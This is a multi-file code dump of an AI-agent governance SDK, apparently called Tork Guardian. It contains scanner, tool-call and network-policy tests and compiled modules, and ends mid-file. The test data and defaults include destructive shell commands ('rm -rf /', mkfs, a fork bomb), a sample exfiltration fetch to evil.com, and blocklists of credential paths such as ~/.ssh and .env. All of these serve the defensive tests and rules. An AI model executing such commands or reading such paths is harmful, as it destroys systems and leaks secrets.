import { scanFromSource, formatReportForAPI } from '../../dist/scanner/api';
import { generateBadge, generateBadgeMarkdown, generateBadgeJSON } from '../../dist/scanner/badge';
import { SkillScanner } from '../../dist/scanner/index';
import { SCAN_RULES } from '../../dist/scanner/rules';

describe('SkillScanner', () => {
  it('has 14 scan rules', () => {
    expect(SCAN_RULES.length).toBe(14);
  });

  it('rules have required fields', () => {
    for (const rule of SCAN_RULES) {
      expect(rule.id).toBeDefined();
      expect(rule.name).toBeDefined();
      expect(rule.severity).toMatch(/^(critical|high|medium|low)$/);
      expect(rule.pattern).toBeInstanceOf(RegExp);
      expect(rule.description).toBeDefined();
      expect(rule.remediation).toBeDefined();
    }
  });

  it('calculateRiskScore returns 0 for no findings', () => {
    const scanner = new SkillScanner();
    expect(scanner.calculateRiskScore([])).toBe(0);
  });

  it('calculateRiskScore caps at 100', () => {
    const scanner = new SkillScanner();
    const manyFindings = Array(20).fill({
      ruleId: 'SEC-001',
      ruleName: 'test',
      severity: 'critical',
      file: 'test.ts',
      line: 1,
      column: 1,
      snippet: '',
      description: '',
      remediation: '',
    });
    expect(scanner.calculateRiskScore(manyFindings)).toBe(100);
  });
});

describe('scanFromSource', () => {
  it('returns a report with score and verdict', async () => {
    const report = await scanFromSource({ 'index.ts': 'console.log("hello")' }, 'clean-skill');
    expect(report.skillName).toBe('clean-skill');
    expect(report.riskScore).toBeDefined();
    expect(report.verdict).toMatch(/^(verified|reviewed|flagged)$/);
    expect(report.filesScanned).toBeGreaterThanOrEqual(1);
    expect(report.scanDurationMs).toBeGreaterThanOrEqual(0);
  });

  it('detects eval() usage (SEC-001)', async () => {
    const report = await scanFromSource({
      'danger.ts': 'const result = eval("1 + 1");',
    });
    expect(report.totalFindings).toBeGreaterThan(0);
    const evalFinding = report.findings.find((f) => f.ruleId === 'SEC-001');
    expect(evalFinding).toBeDefined();
    expect(evalFinding!.severity).toBe('high');
  });

  it('detects child_process usage (SEC-003)', async () => {
    const report = await scanFromSource({
      'exec.ts': 'const { exec } = require("child_process");',
    });
    const finding = report.findings.find((f) => f.ruleId === 'SEC-003');
    expect(finding).toBeDefined();
    expect(finding!.severity).toBe('critical');
  });

  it('detects hardcoded secrets (SEC-005)', async () => {
    const report = await scanFromSource({
      'config.ts': 'const [REDACTED_SECRET]";',
    });
    const finding = report.findings.find((f) => f.ruleId === 'SEC-005');
    expect(finding).toBeDefined();
  });

  it('detects HTTP data exfiltration (SEC-007)', async () => {
    const report = await scanFromSource({
      'leak.ts': 'fetch("https://evil.com/steal")',
    });
    const finding = report.findings.find((f) => f.ruleId === 'SEC-007');
    expect(finding).toBeDefined();
  });

  it('detects server creation (NET-001)', async () => {
    const report = await scanFromSource({
      'server.ts': 'const server = http.createServer((req, res) => {});',
    });
    const finding = report.findings.find((f) => f.ruleId === 'NET-001');
    expect(finding).toBeDefined();
  });

  it('reports clean skill as verified', async () => {
    const report = await scanFromSource({
      'index.ts': 'export function add(a: number, b: number) { return a + b; }',
    });
    expect(report.verdict).toBe('verified');
    expect(report.riskScore).toBeLessThan(30);
  });
});

describe('formatReportForAPI', () => {
  it('strips file paths from findings', async () => {
    const report = await scanFromSource({
      'danger.ts': 'const x = eval("code");',
    });
    const apiReport = formatReportForAPI(report);

    expect(apiReport.skillName).toBe(report.skillName);
    expect(apiReport.riskScore).toBe(report.riskScore);
    expect(apiReport.findings.length).toBe(report.totalFindings);

    // API findings should NOT have a 'file' property
    for (const finding of apiReport.findings) {
      expect(finding).not.toHaveProperty('file');
      expect(finding.ruleId).toBeDefined();
      expect(finding.line).toBeDefined();
    }
  });
});

describe('generateBadge', () => {
  it('returns verified badge for low-risk report', async () => {
    const report = await scanFromSource({
      'clean.ts': 'export const x = 1;',
    });
    const badge = generateBadge(report);
    expect(badge.tier).toBe('verified');
    expect(badge.color).toBe('#22c55e');
    expect(badge.label).toBe('Tork Verified');
    expect(badge.riskScore).toBe(report.riskScore);
    expect(badge.verifyUrl).toContain('tork.network/verify');
  });

  it('returns flagged badge for high-risk report', async () => {
    const report = await scanFromSource({
      'evil.ts': [
        'eval("malicious")',
        'const { exec } = require("child_process")',
        'const [REDACTED_SECRET]"',
        'fetch("https://evil.com/steal")',
      ].join('\n'),
    });
    const badge = generateBadge(report);
    expect(badge.tier).toBe('flagged');
    expect(badge.color).toBe('#ef4444');
  });

  it('generateBadgeMarkdown returns shields.io markdown', () => {
    const badge = {
      tier: 'verified' as const,
      color: '#22c55e',
      label: 'Tork Verified',
      riskScore: 0,
      scannedAt: '2026-01-01',
      verifyUrl: 'https://tork.network/verify/test',
    };
    const md = generateBadgeMarkdown(badge);
    expect(md).toContain('img.shields.io');
    expect(md).toContain('Tork');
    expect(md).toContain('tork.network/verify');
  });

  it('generateBadgeJSON returns valid JSON', () => {
    const badge = {
      tier: 'verified' as const,
      color: '#22c55e',
      label: 'Tork Verified',
      riskScore: 0,
      scannedAt: '2026-01-01',
      verifyUrl: 'https://tork.network/verify/test',
    };
    const json = generateBadgeJSON(badge);
    const parsed = JSON.parse(json);
    expect(parsed.tier).toBe('verified');
  });
});


path: tests/interceptors/tool.test.ts
content: import { describe, it, expect } from 'vitest';
import { governToolCall } from '../../dist/interceptors/tool';
import { TorkConfigSchema } from '../../dist/config';

function makeConfig(overrides: Record<string, unknown> = {}) {
  return TorkConfigSchema.parse({ [REDACTED_SECRET]', ...overrides });
}

describe('governToolCall', () => {
  describe('shell command governance', () => {
    it('blocks rm -rf command', () => {
      const config = makeConfig();
      const result = governToolCall(
        { name: 'shell_execute', args: { command: 'rm -rf /' } },
        config,
      );
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('rm -rf');
    });

    it('blocks mkfs command', () => {
      const config = makeConfig();
      const result = governToolCall(
        { name: 'bash', args: { command: 'mkfs.ext4 /dev/sda' } },
        config,
      );
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('mkfs');
    });

    it('blocks chmod 777', () => {
      const config = makeConfig();
      const result = governToolCall(
        { name: 'terminal', args: { command: 'chmod 777 /etc/passwd' } },
        config,
      );
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('chmod 777');
    });

    it('blocks shutdown command', () => {
      const config = makeConfig();
      const result = governToolCall(
        { name: 'shell_execute', args: { command: 'shutdown -h now' } },
        config,
      );
      expect(result.allowed).toBe(false);
    });

    it('strict policy blocks all shell commands', () => {
      const config = makeConfig({ policy: 'strict' });
      const result = governToolCall(
        { name: 'shell_execute', args: { command: 'ls -la' } },
        config,
      );
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('Strict policy');
    });

    it('allows safe shell commands under standard policy', () => {
      const config = makeConfig({ policy: 'standard' });
      const result = governToolCall(
        { name: 'shell_execute', args: { command: 'ls -la /tmp' } },
        config,
      );
      expect(result.allowed).toBe(true);
    });
  });

  describe('file access governance', () => {
    it('blocks access to .env files', () => {
      const config = makeConfig();
      const result = governToolCall(
        { name: 'file_write', args: { path: '.env' } },
        config,
      );
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('.env');
    });

    it('blocks access to SSH keys', () => {
      const config = makeConfig();
      const result = governToolCall(
        { name: 'file_delete', args: { path: '~/.ssh/id_rsa' } },
        config,
      );
      expect(result.allowed).toBe(false);
    });

    it('blocks access to /etc/passwd', () => {
      const config = makeConfig();
      const result = governToolCall(
        { name: 'file_read', args: { path: '/etc/passwd' } },
        config,
      );
      expect(result.allowed).toBe(false);
    });

    it('allows access to normal paths', () => {
      const config = makeConfig();
      const result = governToolCall(
        { name: 'file_read', args: { path: '/tmp/output.txt' } },
        config,
      );
      expect(result.allowed).toBe(true);
    });

    it('enforces allowedPaths whitelist', () => {
      const config = makeConfig({ allowedPaths: ['/app/data/'] });
      const result = governToolCall(
        { name: 'file_write', args: { path: '/tmp/hack.txt' } },
        config,
      );
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('not in the allowed paths');
    });
  });

  describe('network tool governance', () => {
    it('strict policy blocks network_request', () => {
      const config = makeConfig({ policy: 'strict' });
      const result = governToolCall(
        { name: 'network_request', args: { url: 'https://api.openai.com' } },
        config,
      );
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('Strict policy');
    });

    it('standard policy allows network_request', () => {
      const config = makeConfig({ policy: 'standard' });
      const result = governToolCall(
        { name: 'http_request', args: { url: 'https://api.openai.com' } },
        config,
      );
      expect(result.allowed).toBe(true);
    });
  });

  describe('minimal policy', () => {
    it('allows everything under minimal policy', () => {
      const config = makeConfig({ policy: 'minimal' });

      expect(governToolCall({ name: 'shell_execute', args: { command: 'rm -rf /' } }, config).allowed).toBe(true);
      expect(governToolCall({ name: 'file_delete', args: { path: '.env' } }, config).allowed).toBe(true);
      expect(governToolCall({ name: 'network_request', args: {} }, config).allowed).toBe(true);
    });
  });

  describe('unknown tools', () => {
    it('allows unknown tool names by default', () => {
      const config = makeConfig();
      const result = governToolCall(
        { name: 'custom_tool', args: { foo: 'bar' } },
        config,
      );
      expect(result.allowed).toBe(true);
    });
  });
});


path: tests/interceptors/llm.test.ts
content: import { describe, it, expect, vi } from 'vitest';
import { governLLMRequest, GovernanceDeniedError } from '../../dist/interceptors/llm';
import { TorkConfigSchema } from '../../dist/config';

function makeConfig(overrides: Record<string, unknown> = {}) {
  return TorkConfigSchema.parse({ [REDACTED_SECRET]', ...overrides });
}

function makeMockClient(responses: Array<{ action: string; output: string; pii_detected?: any[]; receipt?: any }>) {
  let callIndex = 0;
  return {
    govern: vi.fn(async () => {
      const resp = responses[callIndex] || responses[0];
      callIndex++;
      return resp;
    }),
    redact: vi.fn(),
  } as any;
}

describe('governLLMRequest', () => {
  it('passes clean text through when PII redaction is disabled', async () => {
    const client = makeMockClient([]);
    const config = makeConfig({ redactPII: false });

    const result = await governLLMRequest(client, {
      messages: [{ role: 'user', content: 'Hello world' }],
    }, config);

    expect(result.governed).toBe(false);
    expect(result.request.messages[0].content).toBe('Hello world');
    expect(client.govern).not.toHaveBeenCalled();
  });

  it('redacts PII in messages when action is redact', async () => {
    const client = makeMockClient([{
      action: 'redact',
      output: 'Email [EMAIL_REDACTED] about the project',
      pii_detected: [{ type: 'email', count: 1 }],
    }]);
    const config = makeConfig({ redactPII: true, policy: 'standard' });

    const result = await governLLMRequest(client, {
      messages: [{ role: 'user', content: 'Email [REDACTED_SECRET] about the project' }],
    }, config);

    expect(result.governed).toBe(true);
    expect(result.pii_found).toBe(true);
    expect(result.request.messages[0].content).toBe('Email [EMAIL_REDACTED] about the project');
  });

  it('collects compliance receipt IDs', async () => {
    const client = makeMockClient([{
      action: 'allow',
      output: 'clean text',
      receipt: { receipt_id: 'rcpt_123', timestamp: '2026-01-01', policy_version: '1.0' },
    }]);
    const config = makeConfig();

    const result = await governLLMRequest(client, {
      messages: [{ role: 'user', content: 'clean text' }],
    }, config);

    expect(result.receipts).toContain('rcpt_123');
  });

  it('throws GovernanceDeniedError when action is deny', async () => {
    const client = makeMockClient([{
      action: 'deny',
      output: '',
      pii_detected: [{ type: 'ssn', count: 1 }],
    }]);
    const config = makeConfig({ policy: 'strict' });

    await expect(
      governLLMRequest(client, {
        messages: [{ role: 'user', content: 'My SSN is 123-45-6789' }],
      }, config),
    ).rejects.toThrow(GovernanceDeniedError);
  });

  it('handles messages with empty content', async () => {
    const client = makeMockClient([{ action: 'allow', output: '' }]);
    const config = makeConfig();

    const result = await governLLMRequest(client, {
      messages: [{ role: 'system', content: '' }],
    }, config);

    expect(result.governed).toBe(true);
    // Empty string is falsy, so govern should skip it
    expect(client.govern).not.toHaveBeenCalled();
  });

  it('processes multiple messages sequentially', async () => {
    const client = makeMockClient([
      { action: 'allow', output: 'Message one' },
      { action: 'redact', output: 'Call [PHONE_REDACTED]', pii_detected: [{ type: 'phone', count: 1 }] },
    ]);
    const config = makeConfig();

    const result = await governLLMRequest(client, {
      messages: [
        { role: 'user', content: 'Message one' },
        { role: 'user', content: 'Call 555-123-4567' },
      ],
    }, config);

    expect(result.pii_found).toBe(true);
    expect(result.request.messages[1].content).toBe('Call [PHONE_REDACTED]');
    expect(client.govern).toHaveBeenCalledTimes(2);
  });
});

describe('GovernanceDeniedError', () => {
  it('stores the govern response', () => {
    const response = { action: 'deny' as const, output: '' };
    const error = new GovernanceDeniedError('Denied', response);

    expect(error.message).toBe('Denied');
    expect(error.name).toBe('GovernanceDeniedError');
    expect(error.governResponse).toBe(response);
    expect(error).toBeInstanceOf(Error);
  });
});


path: dist/client.js
content: "use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.TorkClient = void 0;
const axios_1 = __importDefault(require("axios"));
class TorkClient {
    constructor(apiKey, baseUrl = 'https://tork.network') {
        this.http = axios_1.default.create({
            baseURL: baseUrl,
            timeout: 5000,
            headers: {
                'Content-Type': 'application/json',
                'Authorization': `Bearer ${apiKey}`,
                'X-Tork-SDK-Language': 'typescript',
                'X-Tork-Adapter': 'openclaw-guardian',
            },
        });
    }
    async govern(content, options) {
        try {
            const { data } = await this.http.post('/api/v1/govern', {
                content,
                options,
            });
            return data;
        }
        catch (error) {
            // Fail-open: if Tork is unreachable, allow the request through
            console.warn('[TorkGuardian] Governance API unreachable, failing open:', error instanceof Error ? error.message : error);
            return {
                action: 'allow',
                output: content,
            };
        }
    }
    async redact(content) {
        return this.govern(content, { mode: 'redact' });
    }
}
exports.TorkClient = TorkClient;
//# sourceMappingURL=client.js.map

path: dist/index.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.ReportStore = exports.formatReportForAPI = exports.scanFromSource = exports.scanFromURL = exports.generateBadgeJSON = exports.generateBadgeMarkdown = exports.generateBadge = exports.SCAN_RULES = exports.SkillScanner = exports.ENTERPRISE_CONFIG = exports.PRODUCTION_CONFIG = exports.DEVELOPMENT_CONFIG = exports.MINIMAL_CONFIG = exports.NetworkMonitor = exports.STRICT_NETWORK_POLICY = exports.DEFAULT_NETWORK_POLICY = exports.TorkClient = exports.GovernanceDeniedError = exports.validateDNS = exports.validateEgress = exports.validatePortBind = exports.NetworkAccessHandler = exports.governToolCall = exports.governLLMRequest = exports.TorkGuardian = void 0;
exports.redactPII = redactPII;
exports.generateReceipt = generateReceipt;
const client_1 = require("./client");
const config_1 = require("./config");
const llm_1 = require("./interceptors/llm");
const tool_1 = require("./interceptors/tool");
const network_access_1 = require("./handlers/network-access");
class TorkGuardian {
    constructor(config) {
        this.config = config_1.TorkConfigSchema.parse(config);
        this.client = new client_1.TorkClient(this.config.apiKey, this.config.baseUrl);
        this.networkHandler = new network_access_1.NetworkAccessHandler(this.config, this.client);
    }
    async governLLM(request) {
        return (0, llm_1.governLLMRequest)(this.client, request, this.config);
    }
    governTool(tool) {
        return (0, tool_1.governToolCall)(tool, this.config);
    }
    async redactPII(content) {
        return this.client.redact(content);
    }
    async generateReceipt(content) {
        return this.client.govern(content);
    }
    getConfig() {
        return { ...this.config };
    }
    getNetworkHandler() {
        return this.networkHandler;
    }
}
exports.TorkGuardian = TorkGuardian;
// Standalone function exports
async function redactPII(apiKey, content) {
    const client = new client_1.TorkClient(apiKey);
    return client.redact(content);
}
async function generateReceipt(apiKey, content) {
    const client = new client_1.TorkClient(apiKey);
    return client.govern(content);
}
var llm_2 = require("./interceptors/llm");
Object.defineProperty(exports, "governLLMRequest", { enumerable: true, get: function () { return llm_2.governLLMRequest; } });
var tool_2 = require("./interceptors/tool");
Object.defineProperty(exports, "governToolCall", { enumerable: true, get: function () { return tool_2.governToolCall; } });
var network_access_2 = require("./handlers/network-access");
Object.defineProperty(exports, "NetworkAccessHandler", { enumerable: true, get: function () { return network_access_2.NetworkAccessHandler; } });
Object.defineProperty(exports, "validatePortBind", { enumerable: true, get: function () { return network_access_2.validatePortBind; } });
Object.defineProperty(exports, "validateEgress", { enumerable: true, get: function () { return network_access_2.validateEgress; } });
Object.defineProperty(exports, "validateDNS", { enumerable: true, get: function () { return network_access_2.validateDNS; } });
var llm_3 = require("./interceptors/llm");
Object.defineProperty(exports, "GovernanceDeniedError", { enumerable: true, get: function () { return llm_3.GovernanceDeniedError; } });
var client_2 = require("./client");
Object.defineProperty(exports, "TorkClient", { enumerable: true, get: function () { return client_2.TorkClient; } });
var network_default_1 = require("./policies/network-default");
Object.defineProperty(exports, "DEFAULT_NETWORK_POLICY", { enumerable: true, get: function () { return network_default_1.DEFAULT_NETWORK_POLICY; } });
var network_strict_1 = require("./policies/network-strict");
Object.defineProperty(exports, "STRICT_NETWORK_POLICY", { enumerable: true, get: function () { return network_strict_1.STRICT_NETWORK_POLICY; } });
var network_monitor_1 = require("./utils/network-monitor");
Object.defineProperty(exports, "NetworkMonitor", { enumerable: true, get: function () { return network_monitor_1.NetworkMonitor; } });
var examples_1 = require("./examples");
Object.defineProperty(exports, "MINIMAL_CONFIG", { enumerable: true, get: function () { return examples_1.MINIMAL_CONFIG; } });
Object.defineProperty(exports, "DEVELOPMENT_CONFIG", { enumerable: true, get: function () { return examples_1.DEVELOPMENT_CONFIG; } });
Object.defineProperty(exports, "PRODUCTION_CONFIG", { enumerable: true, get: function () { return examples_1.PRODUCTION_CONFIG; } });
Object.defineProperty(exports, "ENTERPRISE_CONFIG", { enumerable: true, get: function () { return examples_1.ENTERPRISE_CONFIG; } });
var scanner_1 = require("./scanner");
Object.defineProperty(exports, "SkillScanner", { enumerable: true, get: function () { return scanner_1.SkillScanner; } });
var rules_1 = require("./scanner/rules");
Object.defineProperty(exports, "SCAN_RULES", { enumerable: true, get: function () { return rules_1.SCAN_RULES; } });
var badge_1 = require("./scanner/badge");
Object.defineProperty(exports, "generateBadge", { enumerable: true, get: function () { return badge_1.generateBadge; } });
Object.defineProperty(exports, "generateBadgeMarkdown", { enumerable: true, get: function () { return badge_1.generateBadgeMarkdown; } });
Object.defineProperty(exports, "generateBadgeJSON", { enumerable: true, get: function () { return badge_1.generateBadgeJSON; } });
var api_1 = require("./scanner/api");
Object.defineProperty(exports, "scanFromURL", { enumerable: true, get: function () { return api_1.scanFromURL; } });
Object.defineProperty(exports, "scanFromSource", { enumerable: true, get: function () { return api_1.scanFromSource; } });
Object.defineProperty(exports, "formatReportForAPI", { enumerable: true, get: function () { return api_1.formatReportForAPI; } });
var report_store_1 = require("./scanner/report-store");
Object.defineProperty(exports, "ReportStore", { enumerable: true, get: function () { return report_store_1.ReportStore; } });
//# sourceMappingURL=index.js.map

path: dist/config.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.TorkConfigSchema = void 0;
const zod_1 = require("zod");
exports.TorkConfigSchema = zod_1.z.object({
    [REDACTED_SECRET]).min(1),
    baseUrl: zod_1.z.string().url().default('https://tork.network'),
    policy: zod_1.z.enum(['strict', 'standard', 'minimal']).default('standard'),
    redactPII: zod_1.z.boolean().default(true),
    blockShellCommands: zod_1.z.array(zod_1.z.string()).default([
        'rm -rf',
        'mkfs',
        'dd if=',
        'chmod 777',
        ':(){:|:&};:',
        'shutdown',
        'reboot',
        'halt',
        'init 0',
        'init 6',
    ]),
    allowedPaths: zod_1.z.array(zod_1.z.string()).default([]),
    blockedPaths: zod_1.z.array(zod_1.z.string()).default([
        '/etc/shadow',
        '/etc/passwd',
        '~/.ssh',
        '~/.aws',
        '~/.env',
        '.env',
        '.env.local',
        'credentials.json',
        'id_rsa',
        'id_ed25519',
    ]),
    // Network policy configuration
    networkPolicy: zod_1.z.enum(['default', 'strict', 'custom']).default('default'),
    allowedInboundPorts: zod_1.z.array(zod_1.z.number().int().min(0).max(65535)).optional(),
    allowedOutboundPorts: zod_1.z.array(zod_1.z.number().int().min(0).max(65535)).optional(),
    allowedDomains: zod_1.z.array(zod_1.z.string()).optional(),
    blockedDomains: zod_1.z.array(zod_1.z.string()).optional(),
    maxConnectionsPerMinute: zod_1.z.number().int().min(1).optional(),
});
//# sourceMappingURL=config.js.map

path: dist/handlers/network-access.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.NetworkAccessHandler = void 0;
exports.validatePortBind = validatePortBind;
exports.validateEgress = validateEgress;
exports.validateDNS = validateDNS;
const network_monitor_1 = require("../utils/network-monitor");
const network_default_1 = require("../policies/network-default");
const network_strict_1 = require("../policies/network-strict");
/** Resolve the active network policy from TorkConfig. */
function resolvePolicy(config) {
    if (config.networkPolicy === 'strict')
        return network_strict_1.STRICT_NETWORK_POLICY;
    if (config.networkPolicy === 'default')
        return network_default_1.DEFAULT_NETWORK_POLICY;
    // 'custom' — merge user-supplied values over the default policy
    return {
        ...network_default_1.DEFAULT_NETWORK_POLICY,
        networkPolicy: 'custom',
        ...(config.allowedInboundPorts && { allowedInboundPorts: config.allowedInboundPorts }),
        ...(config.allowedOutboundPorts && { allowedOutboundPorts: config.allowedOutboundPorts }),
        ...(config.allowedDomains && { allowedDomains: config.allowedDomains }),
        ...(config.blockedDomains && { blockedDomains: config.blockedDomains }),
        ...(config.maxConnectionsPerMinute !== undefined && { maxConnectionsPerMinute: config.maxConnectionsPerMinute }),
    };
}
// Private-network CIDRs (for SSRF prevention)
const PRIVATE_NETWORK_PATTERNS = [
    /^127\./,
    /^10\./,
    /^172\.(1[6-9]|2\d|3[01])\./,
    /^192\.168\./,
    /^169\.254\./,
    /^0\./,
    /^::1$/,
    /^fc00:/i,
    /^fe80:/i,
    /^localhost$/i,
];
function isPrivateNetwork(host) {
    return PRIVATE_NETWORK_PATTERNS.some((p) => p.test(host));
}
function isRawIP(host) {
    return /^\d{1,3}(\.\d{1,3}){3}$/.test(host) || /^[0-9a-f:]+$/i.test(host);
}
class NetworkAccessHandler {
    constructor(config, client) {
        this.activityLog = [];
        this.policy = resolvePolicy(config);
        this.monitor = new network_monitor_1.NetworkMonitor();
        this.client = client ?? null;
    }
    getMonitor() {
        return this.monitor;
    }
    // ── Port binding governance ──────────────────────────────────
    validatePortBind(skillId, port, protocol = 'tcp') {
        // Block privileged ports
        if (this.policy.blockPrivilegedPorts && port < 1024) {
            return this.deny(skillId, 'port_bind', `Privileged port ${port} is blocked (< 1024)`);
        }
        // Check allowlist
        if (!this.policy.allowedInboundPorts.includes(port)) {
            return this.deny(skillId, 'port_bind', `Port ${port} is not in the inbound allowlist`);
        }
        // Port hijacking detection
        if (this.policy.detectPortHijacking) {
            const existing = this.monitor.getPortOwner(port);
            if (existing && existing.skillId !== skillId) {
                const msg = `Port hijacking detected: port ${port} is owned by skill "${existing.skillId}", attempted by "${skillId}"`;
                this.reportThreat(skillId, 'port_hijacking', msg);
                return this.deny(skillId, 'port_bind', msg);
            }
        }
        // Register the binding
        this.monitor.registerPort(port, protocol, skillId);
        return this.allow(skillId, 'port_bind', `Port ${port}/${protocol} bound`);
    }
    // ── Egress governance ────────────────────────────────────────
    validateEgress(skillId, host, port) {
        // SSRF prevention — block private networks
        if (this.policy.blockPrivateNetworks && isPrivateNetwork(host)) {
            return this.deny(skillId, 'egress', `Private network access blocked: ${host}`);
        }
        // Outbound port allowlist
        if (!this.policy.allowedOutboundPorts.includes(port)) {
            return this.deny(skillId, 'egress', `Outbound port ${port} is not allowed`);
        }
        // Domain blocklist
        if (this.policy.blockedDomains.length > 0) {
            const blocked = this.policy.blockedDomains.some((d) => host === d || host.endsWith(`.${d}`));
            if (blocked) {
                return this.deny(skillId, 'egress', `Domain "${host}" is blocked`);
            }
        }
        // Domain allowlist (only enforced when non-empty)
        if (this.policy.allowedDomains.length > 0) {
            const allowed = this.policy.allowedDomains.some((d) => host === d || host.endsWith(`.${d}`));
            if (!allowed) {
                return this.deny(skillId, 'egress', `Domain "${host}" is not in the allowlist`);
            }
        }
        // Reverse-shell detection: check recent shell activity
        if (this.policy.detectReverseShells) {
            const shellCheck = this.monitor.checkRecentShellActivity(skillId);
            if (shellCheck.suspicious) {
                const msg = `Reverse shell pattern detected for skill "${skillId}" during egress to ${host}:${port}`;
                this.reportThreat(skillId, 'reverse_shell', msg);
                return this.deny(skillId, 'egress', msg);
            }
        }
        // Rate limiting
        const currentRate = this.monitor.getConnectionsPerMinute(skillId);
        if (currentRate >= this.policy.maxConnectionsPerMinute) {
            return this.deny(skillId, 'egress', `Rate limit exceeded: ${currentRate}/${this.policy.maxConnectionsPerMinute} connections/min`);
        }
        // Record the connection
        this.monitor.recordConnection(host, port, skillId);
        return this.allow(skillId, 'egress', `Egress to ${host}:${port} allowed`);
    }
    // ── DNS governance ───────────────────────────────────────────
    validateDNS(skillId, hostname) {
        // Flag raw IP usage
        if (isRawIP(hostname)) {
            const decision = this.deny(skillId, 'dns', `Raw IP address "${hostname}" used instead of hostname — potential SSRF or C2 channel`);
            this.reportThreat(skillId, 'raw_ip_usage', decision.reason);
            return decision;
        }
        // Domain blocklist
        if (this.policy.blockedDomains.length > 0) {
            const blocked = this.policy.blockedDomains.some((d) => hostname === d || hostname.endsWith(`.${d}`));
            if (blocked) {
                return this.deny(skillId, 'dns', `DNS lookup for blocked domain: ${hostname}`);
            }
        }
        // Domain allowlist
        if (this.policy.allowedDomains.length > 0) {
            const allowed = this.policy.allowedDomains.some((d) => hostname === d || hostname.endsWith(`.${d}`));
            if (!allowed) {
                return this.deny(skillId, 'dns', `DNS lookup for domain not in allowlist: ${hostname}`);
            }
        }
        return this.allow(skillId, 'dns', `DNS lookup for ${hostname} allowed`);
    }
    // ── Activity log & reporting ─────────────────────────────────
    getActivityLog() {
        return this.activityLog;
    }
    clearActivityLog() {
        this.activityLog = [];
    }
    // ── Private helpers ──────────────────────────────────────────
    allow(skillId, action, reason) {
        const entry = {
            timestamp: new Date().toISOString(),
            skillId,
            action,
            allowed: true,
            reason,
        };
        if (this.policy.logAllActivity) {
            this.activityLog.push(entry);
        }
        return { allowed: true, reason };
    }
    deny(skillId, action, reason) {
        const entry = {
            timestamp: new Date().toISOString(),
            skillId,
            action,
            allowed: false,
            reason,
        };
        this.activityLog.push(entry); // always log denials
        return { allowed: false, reason };
    }
    reportThreat(skillId, type, detail) {
        if (!this.client)
            return;
        // Fire-and-forget threat report to Tork Cloud
        this.client
            .govern(`[THREAT] skill=${skillId} type=${type} detail=${detail}`)
            .catch(() => {
            /* best-effort */
        });
    }
}
exports.NetworkAccessHandler = NetworkAccessHandler;
// ── Standalone convenience functions ─────────────────────────────
function validatePortBind(config, skillId, port, protocol = 'tcp') {
    const handler = new NetworkAccessHandler(config);
    return handler.validatePortBind(skillId, port, protocol);
}
function validateEgress(config, skillId, host, port) {
    const handler = new NetworkAccessHandler(config);
    return handler.validateEgress(skillId, host, port);
}
function validateDNS(config, skillId, hostname) {
    const handler = new NetworkAccessHandler(config);
    return handler.validateDNS(skillId, hostname);
}
//# sourceMappingURL=network-access.js.map

path: dist/scanner/badge.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.generateBadge = generateBadge;
exports.generateBadgeMarkdown = generateBadgeMarkdown;
exports.generateBadgeJSON = generateBadgeJSON;
const TIER_CONFIG = {
    verified: { color: '#22c55e', label: 'Tork Verified' },
    reviewed: { color: '#eab308', label: 'Tork Reviewed' },
    flagged: { color: '#ef4444', label: 'Tork Flagged' },
    unverified: { color: '#6b7280', label: 'Tork Unverified' },
};
function generateBadge(report) {
    const tier = scoreToBadgeTier(report.riskScore);
    const config = TIER_CONFIG[tier];
    return {
        tier,
        color: config.color,
        label: config.label,
        riskScore: report.riskScore,
        scannedAt: report.scannedAt,
        verifyUrl: `https://tork.network/verify/${report.skillName}`,
    };
}
function generateBadgeMarkdown(badge) {
    const encodedLabel = encodeURIComponent(badge.label);
    const encodedTier = encodeURIComponent(badge.tier);
    const colorHex = badge.color.replace('#', '');
    return `[![${badge.label}](https://img.shields.io/badge/${encodedLabel}-${encodedTier}-${colorHex})](${badge.verifyUrl})`;
}
function generateBadgeJSON(badge) {
    return JSON.stringify(badge, null, 2);
}
function scoreToBadgeTier(score) {
    if (score < 30)
        return 'verified';
    if (score < 50)
        return 'reviewed';
    return 'flagged';
}
//# sourceMappingURL=badge.js.map

path: dist/scanner/types.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
//# sourceMappingURL=types.js.map

path: dist/scanner/rules.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.SCAN_RULES = void 0;
exports.SCAN_RULES = [
    // --- SEC rules: code-level security ---
    {
        id: 'SEC-001',
        name: 'eval() usage',
        severity: 'high',
        pattern: /\beval\s*\(/,
        description: 'Use of eval() allows arbitrary code execution and is a common injection vector.',
        remediation: 'Replace eval() with JSON.parse(), Function(), or a safe expression parser.',
    },
    {
        id: 'SEC-002',
        name: 'Function constructor',
        severity: 'high',
        pattern: /new\s+Function\s*\(/,
        description: 'The Function constructor creates functions from strings, enabling code injection.',
        remediation: 'Use static function definitions or a sandboxed evaluator.',
    },
    {
        id: 'SEC-003',
        name: 'child_process usage',
        severity: 'critical',
        pattern: /(?:require\s*\(\s*['"]child_process['"]\s*\)|from\s+['"]child_process['"]|child_process\s*\.\s*(?:exec|spawn|execSync|spawnSync|execFile|fork)\s*\()/,
        description: 'Direct use of child_process can execute arbitrary system commands.',
        remediation: 'Use Tork Guardian governTool() to validate commands before execution.',
    },
    {
        id: 'SEC-004',
        name: 'Write to sensitive paths',
        severity: 'high',
        pattern: /(?:writeFile|writeFileSync|appendFile|appendFileSync)\s*\(\s*['"`](?:\/etc\/|~?\/?\.env|~?\/?\.ssh|~?\/?\.aws|~?\/?\.npmrc|\/root\/)/,
        description: 'Writing to sensitive system paths can compromise credentials or system configuration.',
        remediation: 'Restrict file writes to an allowed directory. Use Tork Guardian blockedPaths config.',
    },
    {
        id: 'SEC-005',
        name: 'Hardcoded API keys/secrets',
        severity: 'critical',
